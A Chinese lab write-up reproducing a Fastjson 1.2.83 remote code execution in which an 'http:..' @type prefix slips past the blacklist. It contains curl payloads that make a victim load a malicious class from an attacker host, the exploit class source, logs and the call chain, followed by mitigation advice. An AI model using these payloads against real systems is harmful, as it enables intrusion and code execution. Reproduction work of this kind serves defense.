1. 复现结论

本次实验成功复现了 Fastjson 1.2.83 在 AutoType=false、SafeMode=false 条件下,通过 @type 协议前缀绕过 checkAutoType 黑名单,并借助可解析远程资源的 ClassLoader 加载攻击者提供的恶意 class,最终触发远程代码执行的过程。

2. 实验环境

项目

内容

操作系统

Windows 10 / Windows 11 环境

JDK

本机 Java 环境

Fastjson

1.2.83

受害服务

victim-server-http.jar

受害端端口

8080

攻击端 HTTP 服务

Python HTTP Server

攻击端端口

9999

恶意类

com.evil.EvilClass

恶意行为

Runtime.getRuntime().exec("calc.exe")

3. 复现步骤

3.1 启动攻击端 HTTP 服务

攻击端用于提供恶意 class 文件:

python attacker_http_server.py 9999

攻击端目录中需要存在:

..\attacker-server\serve\com\evil\EvilClass.class

当受害端触发漏洞时,攻击端会收到类似请求:

GET /com/evil/EvilClass.class HTTP/1.1

3.2 启动受害端服务

使用已重新打包的 HTTP-capable 受害端:

java -jar victim-server-http.jar

启动成功后输出:

Victim Server Started
Port: 8080
Fastjson: 1.2.83
AutoType: false
SafeMode: false
ClassLoader: com.victim.VictimServer$RemoteHttpClassLoader

其中关键点是:

ClassLoader: com.victim.VictimServer$RemoteHttpClassLoader

该 ClassLoader 用于模拟网传提到的“能够解析绝对 URL 资源名”的 Spring Boot Loader / fat-jar ClassLoader 行为。

3.3 发送 payload

curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..localhost:9999.com.evil.EvilClass\"}"

成功返回:

Parsed OK: com.evil.EvilClass

4. 成功日志

受害端关键日志如下:

[Victim] Received: {"@type":"http:..localhost:9999.com.evil.EvilClass"}
[RemoteLoader] getResourceAsStream: http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] fetched 1554 bytes from http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] loadClass: http:..localhost:9999.com.evil.EvilClass
[RemoteLoader] resource : http://localhost:9999/com/evil/EvilClass.class
[RemoteLoader] defined : com.evil.EvilClass
[!!!] RCE via static initializer: calc.exe
[!!!] EvilClass constructor executed - RCE successful!
[Victim] Result: Parsed OK: com.evil.EvilClass

执行结果:

AutoType和SafeMode均为未开启状态

5. 漏洞利用原理

5.1 Payload

本次使用的 payload:

{"@type":"http:..localhost:9999.com.evil.EvilClass"}

@type 是 Fastjson AutoType 机制使用的特殊字段。即使全局 AutoType=false,Fastjson 在解析 @type 时仍会进入 ParserConfig.checkAutoType() 的部分检查逻辑。

5.2 点号替换为资源路径

Fastjson 在 checkAutoType() 中会把类名转换为 class 资源路径,逻辑类似:

String resource = typeName.replace('.', '/') + ".class";

因此:

http:..localhost:9999.com.evil.EvilClass

会被转换为:

http://localhost:9999/com/evil/EvilClass.class

这一步就是协议前缀绕过的关键。

5.3 黑名单绕过

Fastjson 1.x 的 checkAutoType 黑名单主要基于 Java 包名前缀做匹配,例如:

com.sun.
java.rmi.
javax.naming.
org.apache.commons.collections.

而 payload 以:

http:

开头,不命中这些传统危险包名前缀,因此能够绕过黑名单检查,继续进入资源探测逻辑。

5.4 远程 ClassLoader 加载

本次成功复现的核心差异在于使用了:

com.victim.VictimServer$RemoteHttpClassLoader

它能够处理:

http://localhost:9999/com/evil/EvilClass.class

并通过 HTTP 请求从攻击端获取 class 字节码。

普通 AppClassLoader 不会主动通过 HTTP 加载这个资源,所以之前测试时虽然绕过了黑名单,但由于没有拿到 class 字节码,最终仍然报错:

autoType is not support. http:..localhost:9999.com.evil.EvilClass

因此需要明确区分:

阶段

结果

黑名单绕过

已成功

远程 class 获取

依赖 ClassLoader,普通 AppClassLoader 失败

@JSONType

早返回

只有 class 成功加载后才会触发

RCE

依赖恶意类被实例化或初始化


看一个环境是否具备这个关键条件,核心不是看中间件名字,而是验证这两个行为:

ClassLoader cl = Thread.currentThread().getContextClassLoader();

InputStream is = cl.getResourceAsStream(
    "http://attacker:9999/com/evil/EvilClass.class"
);

或:

InputStream is = cl.getResourceAsStream(
    "jar:http://attacker:9999/evil.jar!/com/evil/EvilClass.class"
);

​

jar资源加载

JAR URL 更有价值

直接 HTTP class:

http://attacker/com/evil/EvilClass.class

依赖 ClassLoader 直接支持远程 .class 资源。

JAR URL:

jar:http://attacker/evil.jar!/com/evil/EvilClass.class

利用的是 JDK 标准 JarURLConnection 逻辑:

远程下载 JAR
  -> 缓存到临时文件
  -> 从 JAR 中读取 class entry
改为URL请求jar资源

​

IP的.的转换问题

而在本地复现的时候因为. 会被转换成/,所以直接修改成IP请求的时候会报错


可以用十进制或者本地host模拟实际攻击域名

curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..attacker:9999.com.evil.EvilClass\"}"

curl -X POST http://192.168.9.44:8080/parse -H "Content-Type: application/json" -d "{\"@type\":\"http:..3232237868:9999.com.evil.EvilClass\"}"

5.5 @JSONType 早返回

恶意类定义如下:

@JSONType
public class EvilClass {
    static {
        Runtime.getRuntime().exec("calc.exe");
    }

    public EvilClass() {
        System.out.println("EvilClass constructor executed");
    }
}

Fastjson 加载到该类后,会检测到 @JSONType 注解,并在部分类型兼容性检查之前直接返回该 class。

这就是网传中提到的“@JSONType 早返回”问题。

5.6 RCE 触发点

恶意代码执行发生在两个位置:

  1. 静态代码块:class 被加载 / 初始化时执行
  2. 无参构造函数:Fastjson 反序列化实例化对象时执行

本次日志中可以看到二者都执行了:

[!!!] RCE via static initializer: calc.exe
[!!!] EvilClass constructor executed - RCE successful!

6. 完整调用链

curl POST /parse
  -> VictimServer.ParseHandler.handle()
    -> JSON.parseObject(json, Object.class, FASTJSON_CONFIG, JSON.DEFAULT_PARSER_FEATURE)
      -> DefaultJSONParser.parseObject()
        -> ParserConfig.checkAutoType("http:..localhost:9999.com.evil.EvilClass", Object.class, features)
          -> 黑名单检查未命中
          -> typeName.replace('.', '/') + ".class"
          -> http://localhost:9999/com/evil/EvilClass.class
          -> ClassLoader.getResourceAsStream(resource)
            -> RemoteHttpClassLoader 发起 HTTP GET
            -> 攻击端返回 EvilClass.class 字节码
          -> ClassLoader.loadClass(typeName)
            -> RemoteHttpClassLoader.defineClass()
            -> 定义 com.evil.EvilClass
          -> 检测到 @JSONType
          -> 返回 com.evil.EvilClass
        -> JavaBeanDeserializer.deserialize()
          -> 初始化 / 实例化 EvilClass
            -> static block 执行 calc.exe
            -> constructor 执行

7. 服务classloader适配

RemoteHttpClassLoader

用于模拟支持绝对 URL 资源解析的 ClassLoader 行为。实际服务中间件需要有能解析URL资源的classloader。

8. 与网传利用链的关系

本次复现验证了网传中的核心利用原理:

网传描述

本次复现

@type

协议前缀绕过黑名单

已验证

typeName.replace('.', '/') + ".class"

形成远程资源路径

已验证

ClassLoader 可解析远程 URL 资源名

通过 RemoteHttpClassLoader

模拟验证

远程获取带 @JSONType

的恶意 class

已验证

@JSONType

早返回绕过类型兼容性检查

已验证

反序列化实例化触发 RCE

已验证

Spring Boot Loader / /proc/self/fd

高级链

本实验未完整复现,仅模拟关键 ClassLoader 能力

因此,本次实验属于网传完整链路中的“核心原语验证 + 远程 class 加载模拟复现”。

网传中更高级的真实生产链还包括:

  • Spring Boot fat-jar Loader 对绝对 URL 资源名的处理
  • jar:http://... 远程 JAR 缓存(已模拟)
  • Linux /proc/self/fd/N 文件描述符复用
  • JDK 17 / 21 / 25 下的多阶段 payload

本实验没有完整实现 /proc/self/fd 多阶段链,但已经验证了该漏洞成立所依赖的关键机制。

需要对应服务的classloader支持远程加载URL资源,如jar:http://...等。

9. 防护建议

9.1 首选修复

升级到 Fastjson 2.x。

9.2 立即缓解

启用 SafeMode:

ParserConfig.getGlobalInstance().setSafeMode(true);

或 JVM 参数:

-Dfastjson.parser.safeMode=true
java -Dfastjson.parser.safeMode=true -jar victim-server-http.jar

SafeMode 会在资源探测之前阻断 @type 处理流程。

开启前后对比

无URL请求,执行失败

默认未开启,执行成功

9.3 输入侧防护

拦截 JSON 中的特殊类型字段:

@type
\u0040type
\x40type

不要只匹配明文 @type,因为 Fastjson lexer 会先解码字段名。

9.4 运行时防护

  • 禁止业务 JVM 非必要出网
  • 限制容器访问 /proc/self/fd
  • 审计 ClassLoader 是否支持 http://、https://、jar:、file: 等绝对资源名
  • 监控 JVM 临时目录异常 jar_cache* 文件

10. 总结

本次复现证明:

  1. AutoType=false 并不等价于绝对安全。
  2. @type 仍可进入 checkAutoType 的 class 元数据探测逻辑。
  3. http:.. 形式可以绕过传统包名前缀黑名单。
  4. 点号替换会把攻击者输入变成远程 class 资源路径。
  5. 如果 ClassLoader 能解析远程 URL,就能从攻击端获取恶意 class。
  6. 带 @JSONType 的恶意 class 会触发早返回,绕过类型兼容性检查。
  7. class 初始化或反序列化实例化阶段可以执行任意代码。

​

​

最终攻击链可以概括为:

可控 JSON @type

  1. -> checkAutoType 协议前缀绕过
  2. -> 构造远程 .class 资源路径
  3. -> ClassLoader 远程加载恶意 class
  4. -> @JSONType 早返回
  5. -> 反序列化实例化 / 初始化
  6. -> Runtime.exec("calc.exe")

​

行文仓促,若有问题,感谢各位师傅指出,谢谢~

​

参考链接:https://m.cnyes.com/news/id/6540815